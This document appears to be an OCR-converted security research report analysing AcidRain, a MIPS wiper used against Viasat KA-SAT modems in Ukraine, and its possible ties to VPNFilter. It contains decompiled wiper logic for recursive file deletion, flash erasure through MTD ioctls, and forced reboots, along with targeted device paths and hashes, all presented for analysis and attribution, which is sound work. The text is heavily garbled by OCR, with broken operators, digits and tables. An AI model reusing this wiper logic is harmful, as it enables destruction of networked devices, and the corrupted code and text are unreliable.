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Executive Summary

On Thursday, February 24th, 2022, a cyber attack rendered Viasat KA-SAT modems
inoperable in Ukraine.

Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to
communicate for remote monitoring or control.

Viasat’s statement on Wednesday, March 30th, 2022 provides a somewhat plausible
but incomplete description of the attack.

SentinelLabs researchers discovered new malware that we named ‘AcidRain’.
AcidRain is an ELF MIPS malware designed to wipe modems and routers.

We assess with medium-confidence that there are developmental similarities between
AcidRain and a VPNFilter stage 3 destructive plugin. In 2018, the FBI and Department
of Justice attributed the VPNFilter campaign to the Russian government

AcidRain is the 7th wiper malware associated with the Russian invasion of Ukraine.
Update: In a statement disseminated to journalists, Viasat confirmed the use of the
AcidRain wiper in the February 24th attack against their modems.
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https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://twitter.com/juanandres_gs
https://twitter.com/maxpl0it
https://twitter.com/zackwhittaker/status/1509601023047970820?s=20&t=Y0xOUSXVK1AIbaBGXDsnLQ

Context

The Russian invasion of Ukraine has included a wealth of cyber operations that have tested
our collective assumptions about the role that cyber plays in modern warfare. Some
commentators have voiced a_bizarre disappointment at the ‘lack of cyber’ while those at the
coalface are overwhelmed by the abundance of cyber operations accompanying
conventional warfare. From the beginning of 2022, we have dealt with six different strains of
wiper malware targeting Ukraine: WhisperKill, WhisperGate, HermeticWiper, IsaacWiper,
CaddyWiper, and DoubleZero. These attacks are notable on their own. But there’s been an
elephant in the room by way of the rumored ‘satellite modem hack’. This particular attack
goes beyond Ukraine.

We first became aware of an issue with Viasat KA-SAT routers due to a reported outage of
5,800 Enercon wind turbines in Germany. To clarify, the wind turbines themselves were not
rendered inoperable but “remote monitoring and control of the wind turbines” became
unavailable due to issues with satellite communications. The timing coincided with the
Russian invasion of Ukraine and suspicions arose that an attempt to take out Ukrainian
military command-and-control capabilities by hindering satellite connectivity spilled over to
affect German critical infrastructure. No technical details became available; technical
speculation has been rampant.

On Wednesday, March 30th, 2022, Viasat finally released a statement stating that the attack
took place in two phases: First, a denial of service attack coming from “several SurfBeam?2
and SurfBeam2+ modems and [...other on-prem equipment...] physically located within
Ukraine” that temporarily knocked KA-SAT modems offline. Then, the gradual disappearance
of modems from the Viasat service. The actual service provider is in the midst of a complex
arrangement where Eutalsat provides the service, but it's administered by an Italian
company called Skylogic as part of a transition plan.

The Viasat Explanation

At the time of writing, Viasat has not provided any technical indicators nor an incident
response report. They did provide a general sense of the attack chain with conclusions that
are difficult to reconcile.

Viasat reports that the attackers exploited a misconfigured VPN appliance, gained access to
the trust management segment of the KA-SAT network, moved laterally, then used their
access to “execute legitimate, targeted management commands on a large number of
residential modems simultaneously”. Viasat goes on to add that “these destructive
commands overwrote key data in flash memory on the modems, rendering the modems
unable to access the network, but not permanently unusable”.
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https://www.washingtonpost.com/politics/2022/03/07/putins-invasion-ukraine-didnt-rely-cyber-warfare-heres-why/
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https://www.reversemode.com/2022/03/satcom-terminals-under-attack-in-europe.html
https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/

It remains unclear how legitimate commands could have such a disruptive effect on the
modems. Scalable disruption is more plausibly achieved by pushing an update, script, or
executable. It’'s also hard to envision how legitimate commands would enable either the DoS
effects or render the devices unusable but not permanently bricked.

In effect, the preliminary Viasat incident report posits the following requirements:

1. Could be pushed via the KA-SAT management segment onto modems en masse

2. Would overwrite key data in the modem’s flash memory

3. Render the devices unusable, in need of a factory reset or replacement but not
permanently unusable.

With those requirements in mind, we postulate an alternative hypothesis: The threat actor
used the KA-SAT management mechanism in a supply-chain attack to push a wiper
designed for modems and routers. A wiper for this kind of device would overwrite key data in
the modem’s flash memory, rendering it inoperable and in need of reflashing or replacing.

Subsequent to this post being published, Viasat confirmed to journalists that our analysis
was consistent with their reports.

Zack Whittaker &
@zackwhittaker

"The analysis in the SentinelLabs report regarding the
ukrop binary is consistent with the facts in our report -
specifically, SentinelLabs identifies the destructive
executable that was run on the modems using a
legitimate management command as Viasat previously
described."

7:38 PM - Mar 31, 2022 - Twitter Web App

Viasat told BleepingComputer that “The analysis in the SentinelLabs report regarding the
ukrop binary is consistent with the facts in our report — specifically, SentinelLabs identifies the
destructive executable that was run on the modems using a legitimate management
command as Viasat previously described”.

The AcidRain Wiper
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https://twitter.com/zackwhittaker/status/1509601166061191171
https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/

On Tuesday, March 15th, 2022, a suspicious upload caught our attention. A MIPS ELF
binary was uploaded to VirusTotal from Italy with the name ‘ukrop’. We didn’t know how to
parse the name accurately. Possible interpretations include a shorthand for “ukr’aine
“op”eration, the acronym for the Ukrainian Association of Patriots, or a Russian ethnic slur for
Ukrainians — ‘Ykpor'. Only the incident responders in the Viasat case could say definitively
whether this was in fact the malware used in this particular incident. We posit its use as a
fitting hypothesis and will describe its functionality, quirky development traits, and possible
overlaps with previous Russian operations in need of further research.

Technical Overview

SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a

SHA1 86906b140b019fdedaaba73948d0c8f96a6b1b42

MD5 ecbe1b1e30a1f4bffaf1d374014c877f

Name ukrop

Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
stripped

First 2022-03-15 15:08:02 UTC
Seen

AcidRain’s functionality is relatively straightforward and takes a bruteforce attempt that
possibly signifies that the attackers were either unfamiliar with the particulars of the target
firmware or wanted the tool to remain generic and reusable. The binary performs an in-depth
wipe of the filesystem and various known storage device files. If the code is running as root,
AcidRain performs an initial recursive overwrite and delete of non-standard files in the
filesystem.
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https://en.wikipedia.org/wiki/Ukrop#:~:text=Ukrop%20(Russian%3A%20%D0%A3%D0%BA%D1%80%D0%BE%D0%BF%3B%20literally,the%20Russian%20word%20for%20Ukrainians.

while( true ) {
/* read the / directory %/
iVar2 = read_directory_maybe(ivarl);
/* get the directory name string x/
directory = iVar2 + 0xb;
if (iVar2 == @) break;
/* check for any standard directory names - skip them x/
iVar2 = strcmp(directory,".");
if (ivar2 != @) {
iVar2 = strcmp{(directory,"..");
if (ivar2 !'= @) {
iVar2 = strcmp(directory,"bin");
if (ivar2 = 0) {
ivar2 = strcmp(directory,"boot");
if (ivar2 !'=0) {
iVar2 = strcmp(directory,"dev");
if (ivar2 '= 0) {
iVar2 = strncmp_maybe(directory,"1ib",3);
if (ivar2 = 0) {
iVar2 = strcmp(directory,"proc");
if (ivar2 '=0) {
iVar2 = strcmp(directory,"sbin");
if (ivar2 !'= 0) {
iVar2 = strcmp(directory,"sys");
if (ivar2 != @) {
iVar2 = strcmp(directory,"usr");
if (ivar2 !'= @) {
strncpy_maybe(copied_directory + 1,directory,0xfd);
/* recursively delete the non-standard folder x/
recursive_delete_files_in_dir(copied_directory);

}

Recursively delete files in nonstandard folders
Following this, it attempts to destroy the data in the following storage device files:

Targeted Device(s) Description

/dev/sd* A generic block device

/dev/mtdblock® Flash memory (common in routers and loT devices)

/dev/block/mtdblock* Another potential way of accessing flash memory

/dev/mtd* The device file for flash memory that supports fileops

/dev/mmcblk* For SD/MMC cards

/dev/block/mmcblk*  Another potential way of accessing SD/MMC cards
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/dev/loop* Virtual block devices

This wiper iterates over all possible device file identifiers (e.g., mtdblockO — mtdblock99),
opens the device file, and either overwrites it with up to 0x40000 bytes of data or (in the case
of the /dev/mtd* device file) uses the following IOCTLS to erase it: MEMGETINFO,
MEMUNLOCK, MEMERASE, and MEMWRITEOOB. In order to make sure that these writes
have been committed, the developers run an fsync syscall.

data_to_overwrite = allocated_region;
if (allocated_region < puVarl) {
value to write = Oxffffffff;
do {
*¥allocated_region = value_to_write;
allocated_region = allocated_region + 1;
value_to write = value _to write - 1;
} while (allocated_region < puVarl);

T-Fle code that generates the malicious data used to overwrite storage

When the overwriting method is used instead of the IOCTLs, it copies from a memory region
initialized as an array of 4-byte integers starting at oxffffffff and decrementing at each
index. This matches what others had seen after the exploit had taken place.
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https://twitter.com/reversemode/status/1509467387954962432

reversemode
@reversemode

Viasat incident

| managed to dump the flash of two Surfbeam2
modems: 'attacked1.bin' belongs to a targeted modem
during the attack, 'fw_fixed.bin' is a clean one.

A destructive attack.

attacked1.bin fw_fixed.bin

FFFF S5DD FFFF 54DD [ | ""W>""V>""U> "7 T» 1CABAAD 310D 8D9@ E112 C6C6 48E2 E670 1 ¢é% - AAH,
FFFF 510D FFFF 500D || “"S>""R>""Q>""P» 1CABABO 7364 ES26 4D@1 @208 2EGE 69CE | | assdA&SIM .n
FFFF 4DDD FFFF 4CDD || ""0> " "N»> " "M> " "L» 1CABACO 6000 6667 1985 (o0l @oee 0a31 * fg % 0;
FFFF 49DD FFFF 48DD | | "“K>""1>""I»""H» 1CABADO DD5D 0@ee 2000 GOOE 0000 0OOF | | ]

FFFF 45DD FFFF 44DD || ""G>""F>""E>""D>» 1CABAEQ 3B85 0908 882D 4288 A@BA @7CE| |K=;0 a-Bata
FFFF 410D FFFF 400D | | “"C>""B> " "A>""@» 1CABAFQ 616D 2D68 74FF FFFF 1985 €001 | |beam-hist™ "~ 0
FFFF 3DDD FFFF 3CDD [| "7 757 ">> " "=>""<> 1CABBOA 0835 (44D 2000 0003 0000 BoaC 5fM D

FFFF 39DD FFFF 38DD || "";»>"":»7"9>""8» 1CA8B10 0000 4B3D @D00 000@ D544 44A7 K=;0 'D
FFFF 35DD FFFF 34DD || ""757 76577557 74> 1CA8B20 20CE 6265 2D68 6973 742E 746D $ Ebeam-hist.
FFFF 31DD FFFF 380D | | ""3>7""2>""1>" 70> 1CABB30 FFFF 1985 0000 0044 A4EF 223E | (p~ " 0Oy D§d
FFFF 20DD FFFF 2CDD ST =Ty 1CA8B40 0010 0000 0000 81B6 0000 Q000 Ad
FFFF 290D FFFF 280D | | ~ T 1CABBSQ 0000 5745 5745 E957 5745 E957 WEEWWE EWWE
FFFF 25DD FFFF 24DD ' ThAE TR T 1CABB6@ bope 00e0 2000 000Q 0000 P00
FFFF 21DD FFFF 2@DD T & 1CABB70 6000 331C 1985 CeQ1 0@00 0038 3 ». 0;
FFFF 1DDD FFFF 1CDD ) ) 1CABB8O 65F9 0000 2000 000D 0000 0010 || [ e”

FFFF 190D FFFF 180D | | ~ R 1CABB9Q ES57 10e8 3CB4 4E23 D7DD E136 | | WEEW <¥N#0>
FFFF 15DD FFFF 14DD ) ) 1CABBAG 672D 7265 636F 6E66 2E74 6D70 | | Lkg-ret.conf.t
FFFF 11DD FFFF 10DD | |~ SR B 1CABEBO ConzZ 0000 CZE9 19F4 0000 0010 b G-k U
FFFF @DDD FFFF @CDD ) ) 1CABBCO 0002 0000 2000 0000 0000 AASA Aa

FFFF @9DD FFFF @8DD | | ~ M = 1CABBDO E957 5745 5745 E957 0000 0000 | | WEEWWEEWWEEW
FFFF @5DD FFFF @4DD ; ; 1CABBEQ@ 0054 0000 0000 0000 F205 5730 Z z ]
FFFF @10D FFFF @@DD | | - T i 1CABEFO A373 5B20 5420 SDOA 5665 7273 | | lz£s[ RET ] Ve
FFFF FDDC FFFF FCDC ™ TR 1CABCeQ 6E20 3D20 5361 745F 4964 203D | |ion = 2 Sat_Id
FFFF FODC FFFF FBDC || ™" "¢" " "¢" " "¢ " 1CA3C10 310A 2020 616D S5F49 6420 3D20 21 Beam_Id
FFFF FSDC FFFF F4DC AT 1CA8BC20 BA20 2054 5472 6961 5F53 6E20 | |10 Tx_Tria_5
FFFF F1DC FFFF FODC | |~ 0e” o 1CABC30 3131 3930 3733 3137 0A46 696C | | = 11908@7317 F
FFFF EDDC FFFF ECDC D¢ "0 Ie™s 1CABC40 5570 6461 7320 3D2@ 31QA FFFF||e_Updates = 1

5:47 AM - Mar 31, 2022 - Twitter Web App

Side-by-side comparison of a Surfbeam2 modem pre- and post-attack
The code for both erasure methods can be seen below:
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fd = open_(filename,1,in_a2,in_a3);
< fd)
4 ;

8=8;

/% BLKGETSIZEGA */

iVar? = ioctl(fd,0x40041272,&l0cal_28);

if (ivar2 1= 9) {
L_24 = axfTIffffef;

28 = Wxfrfffffe;
}
uvar3 = lseek(fd,0,0);
far2 = @;
War5s = (int)uVar3 »>» @x1f;
while ((uar5 < local_28 || ((loc 28 = uVar5 & (uVar3 < local_24)))))
iVard = write_to_fd(fd,data_to_overwrite,@x40000);
bVarl = Bx40@ < iVar2;

ivar2 + 1;
4 = 1) break;
1)

iVar2 H
fsync(fd);
uvars =
uvar3d = uVar3d + 0x40000;
}
fsync(fd);
close_fd{fd);
}

return;

Mechanisms to erase devices: write 0x40000 (left) or use MEM* IOCTLS (right)
Once the various wiping processes are complete, the device is rebooted.

{uVar3 + 0x40000 < uVar3) + uVar5;

-

fd = open_(param_1,2,param_3,param_4);
if ((-1 < fd) && (fstat{fd,auStacklsd}, (local_ad & 6xT008) — ©@x2000)) {

/% MEMGETINFO %/

ioctl(fd,8x48204d@1, local_dc);
local_ec = local_d@;

local_f@

0;

if (local_d4 != 0} {

}

S4 MEMUNLOCK =/
do {
f# MEMUNLOCK #/
ioct1{fd,@x80084d06,&1ocal_fa);
/% MEMERASE x*/
ioct1(fd,@x80084d02,&local_fa);
local_f@ = local_f@ + local_da;
} while (local_f@ < local_dd);
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reboot(0x1234567) ;
reboot(0xalb2c3d4);
reboot(0x1234567) ;
reboot(0x4321fedc);
fork_fd = fork();
if (fork_fd == 0) {
LAB_00401710:
execve_wrapper("/sbin/reboot","/sbin/reboot",0,in_a3);
}
else {
fork_fd = fork();
if (fork _fd == @) {
cmd = "/bin/reboot";
}
else {
fork_fd = fork();
if (fork fd == 0) {
execve_wrapper("/usr/sbin/reboot","/usr/sbin/reboot",0,in_a3);
exit_with_error_code(0);
goto LAB_00401710;
}
fork_fd = fork();
if (fork_fd '= 0) {
FUN_00402990(data_to_overwrite);
return 0;
}
cmd = "/usr/bin/reboot";
}
execve_wrapper(cmd,cmd,®,in_a3);
}
Redundant attempts to reboot the device
This results in the device being rendered inoperable.

An Interesting Oddity

Despite what the Ukraine invasion has taught us, wiper malware is relatively rare. More so
wiper malware aimed at routers, modems, or loT devices. The most notable case is
VPNFilter, a modular malware aimed at SOHO routers and QNAP storage devices,
discovered by Talos. This was followed by an FBI indictment attributing the operation to
Russia (APT28, in particular). More recently, the NSA and CISA attributed VPNFilter to
Sandworm (a different threat actor attributed to the same organization, the Russian GRU) as
the U.K.’s National Cyber Security Centre (NCSC) described VPNFilter’s successor, Cyclops
Blink.
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https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf

VPNFilter included an impressive array of functionality in the form of multi-stage plugins
selectively deployed to the infected devices. The functionality ranges from credential theft to
monitoring Modbus SCADA protocols. Among its many plugins, it also included functionality
to wipe and brick devices as well as DDoS a target.

The reason we bring up the specter of VPNFilter is not because of its superficial similarities
to AcidRain but rather because of an interesting (but inconclusive) code overlap between a
specific VPNFilter plugin and AcidRain.

VPNFilter Stage 3 Plugin — ‘dstr’

SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6¢c4cc3d940190bdcOb6dd53a83d6

SHA1 261d012caa96d3e3b059a98388f743fb8d39fbds

MD5 20ea405d79b4de1b90de54a442952a45

Description VPNFilter Stage 3, ‘dstr’ module

Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
stripped

First Seen  2018-06-06 13:02:56 UTC

After the initial discovery of VPNFilter, additional plugins were revealed by researchers
attempting to understand the massive spread of the botnet and its many intricacies. Among
these were previously unknown plugins, including ‘dstr’. As the mangled name suggests, it's
a ‘destruction’ module meant to supplement stage 2 plugins that lacked the ‘kil’ command
meant to wipe the devices.

This plugin was brought to our attention initially by tish fuzzy hashing, a more recent
matching library that’s proven far more effective than ssdeep or imphash in identifying similar
samples. The similarity was at 55% to AcidRain with no other samples being flagged in the
VT corpus. This alone is not nearly enough to conclusively judge the two samples as tied,
but it did warrant further investigation.

VPNFilter and AcidRain are both notably similar and dissimilar. They’re both MIPS ELF
binaries and the bulk of their shared code appears to stem from statically-linked libc. It
appears that they may also share a compiler, most clearly evidenced by the identical Section
Headers Strings Tables.
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https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
https://github.com/trendmicro/tlsh

String Representati... | Data Type

Location B | String Value
.shstrtab::00000001  .shstrtab
.shstrtab::0000000b  .reginfo

.shstrtab::00000014  .init
.shstrtab::0000001a  .text
.shstrtab::00000020  fini
.shstrtab::00000026  .rodata
.shstrtab::0000002e  .eh_frame
.shstrtab::00000038  .ctors
.shstrtab::0000003f  .dtors
.shstrtab::00000046  .jcr
.shstrtab::0000004b  .data
.shstrtab::00000051  .got
.shstrtab::00000056  .sbss
.shstrtab::0000005¢  .bss
.shstrtab::00000061 .mdebug.abi32
.shstrtab::0000006f  .pdr

".shstrtab"
".reginfo"
“init"
".text"

" fini"
".rodata"
".eh_frame"
".ctors"
“.dtors"
"jer'
".data"
".got"
".sbhss"
".bss"
".mdebug.abi32"
" pdr"

ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds

Section Headers Strings Tables for VPNFilter and AcidRain

And there are other development quirks, such as the storing of the previous syscall number
to a global location before a new syscall. At this time, we can’t judge whether this is a shared
compiler optimization or a strange developer quirk.

More notably, while VPNFilter and AcidRain work in very different ways, both binaries make
use of the MEMGETINFO, MEMUNLOCK, and MEMERASE IOCTLS to erase mtd device

files.

fd = open_(param_1,2,param_3,param_4);

if ((-1 = fd) && (fstat(fd,auStackl84), (local_a4 & @xTO00} = 0x2000)) {

/+ MEMGETINFD =/
ioctl(fd,0x40204d01, local_dc);
local_ec = local_d@;
local_fo = 8;
if (local_d4 !'= @) {

/€ MEMUNLOCK =/

do {

/+ MEMUNLOCK =/

ioctl(fd,Bx80084d06,810cal_fo);

/+ MEMERASE =/

ioctl(fd,@x80084d62,&local_fa);
local_f6 = local_f6 + loc €
} while (local _f@ < local_d4);
}
strlen = local_d@;
if (Bx3ffff < local_da) {
strien = @x40000;
}
local_fo = 8;
if (local _d4 = @) {
do {
while( true } {
/% MEMUNLOCK */

ioctl{fd,0x80084d@6,&local_To);

/% MEMERASE */
ioctl{fd,0x80084d02,&local_Ta)

if (local_dc[8] != '\x84') break;

local_e® = data_to _overwrite;
local_e8 local_f@;
local_ed4 = strlen;

/+ MEMWRITEOQOB =/
ioctl{fd,B8xco0cdde3,&local_e8)

local_f@ = local_f@ + local_de;
if (local_d4 <= local _f@) goto LAB_0@4011b0;

}
lseek(fd.local f@.@):

On the left, AcidRain; on the right, VPNFilter

sprintf(auStack288,"/dev/mtd%d",iVar2);
ivar3 = open(auStack288,2);
if (ivar3 == -1) break:

/* MEMGETINFO x/
ioctl(ivar3,0x40204d01,auStack320);
uVar4 = FUN_00404dd0(local_134);
FUN_00404650(uVard ,0xff, local_134);
lseek(ivar3,0,0);
local 144 = local_134;
local_148 = 0;
if (local_138 != 0) {

do {
/* MEMUNLOCK *x/
ioctl(iVar3,0x80084d06,&local 148);
/* MEMERASE x/
ioct1(iVar3,0x80084d02,&local_148);
lseek(ivar3, local_148,0);
write(ivar3,uVar4,local_144);
local_148 = local_148 + local_144;
} while (local 148 < local_138);
}

There are also notable differences between VPNFilter’s ‘dstr’ plugin and AcidRain. The latter
appears to be a far sloppier product that doesn’t consistently rise to the coding standards of
the former. For example, note the redundant use of process forking and needless repetition

of operations.

‘Location b.( String Value String Representation |Data’
.shstrtab::00000001 .shstrtab ".shstrtab" ds
.shstrtab::0000000b .reginfo ".reginfo" ds
.shstrtab::00000014 .init “init" ds
.shstrtab::0000001a .text " text" ds
.shstrtab::00000020 fini " fini" ds
.shstrtab::00000026 .rodata ".rodata" ds
.shstrtab::0000002e .eh_frame ".eh_frame" ds
.shstrtab::00000038 .ctors ".ctors" ds
.shstrtab::0000003f .dtors ".dtors" ds
.shstrtab::00000046 Jjer ® jer® ds
.shstrtab::0000004b .data ".data" ds
.shstrtab::00000051 .got ".got" ds
.shstrtab::00000056 .sbss ".sbss" ds
.shstrtab::0000005¢ .bss “.bss" ds
.shstrtab::00000061 .mdebug.abi32 ".mdebug.abi32" ds
.shstrtab::0000006f .pdr “.pdr" ds
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They also appear to serve different purposes, with the VPNFilter plugin targeting specific
devices with hardcoded paths, and AcidRain taking more of a “one-binary-fits-all” approach
to wiping devices. By brute forcing device filenames, the attackers can more readily reuse
AcidRain against more diverse targets.

We invite the research community to stress test this developmental overlap and contribute
their own findings.

Conclusions

As we consider what’s possibly the most important cyber attack in the ongoing Russian
invasion of Ukraine, there are many open questions. Despite Viasat's statement claiming that
there was no supply-chain attack or use of malicious code on the affected routers, we posit
the more plausible hypothesis that the attackers deployed AcidRain (and perhaps other
binaries and scripts) to these devices in order to conduct their operation.

While we cannot definitively tie AcidRain to VPNFilter (or the larger Sandworm threat
cluster), we note a medium-confidence assessment of non-trivial developmental similarities
between their components and hope the research community will continue to contribute their
findings in the spirit of collaboration that has permeated the threat intelligence industry over
the past month.
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